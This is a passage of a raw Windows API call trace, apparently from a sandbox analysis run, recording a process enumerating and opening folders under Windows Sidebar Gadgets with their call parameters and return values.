fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.319] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.319] GetLastError () returned 0x12 [0250.320] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.320] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.320] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.320] GetLastError () returned 0x12 [0250.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.320] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.320] GetLastError () returned 0x12 [0250.320] GetLastError () returned 0x12 [0250.362] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.362] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.362] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.362] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.408] GetLastError () returned 0x12 [0250.408] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.409] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.409] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.409] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.409] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.409] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0250.409] GetLastError () returned 0x12 [0250.409] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.410] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.410] GetLastError () returned 0x12 [0250.410] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.410] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.410] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.410] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.410] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.410] GetLastError () returned 0x12 [0250.410] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0250.411] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.411] GetLastError () returned 0x12 [0250.411] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.411] GetLastError () returned 0x12 [0250.411] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.411] GetLastError () returned 0x12 [0250.411] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.411] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.411] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.411] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.412] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.412] GetLastError () returned 0x12 [0250.412] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.412] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.502] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.502] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.503] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.503] GetLastError () returned 0x12 [0250.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.503] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.503] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.503] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.503] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16b3a70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16b3a70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.504] GetLastError () returned 0x12 [0250.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.504] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.504] GetLastError () returned 0x12 [0250.504] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.507] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.507] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.507] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16b3a70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16b3a70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.507] GetLastError () returned 0x12 [0250.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.507] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.507] GetLastError () returned 0x12 [0250.507] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.508] GetLastError () returned 0x12 [0250.508] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.508] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.508] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.508] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.643] GetLastError () returned 0x12 [0250.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.643] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.644] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.644] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.644] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.644] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0250.697] GetLastError () returned 0x12 [0250.697] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.698] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.698] GetLastError () returned 0x12 [0250.698] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.699] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.699] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.699] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.742] GetLastError () returned 0x12 [0250.742] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0250.742] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.742] GetLastError () returned 0x12 [0250.742] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.743] GetLastError () returned 0x12 [0250.743] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.743] GetLastError () returned 0x12 [0250.743] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.743] GetLastError () returned 0x12 [0250.743] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.744] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0250.744] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.744] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0250.744] GetLastError () returned 0x12 [0250.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.744] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.744] GetLastError () returned 0x12 [0250.744] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.744] GetLastError () returned 0x12 [0250.744] FindClose (in: hFindFile=0x4fd6a0 | 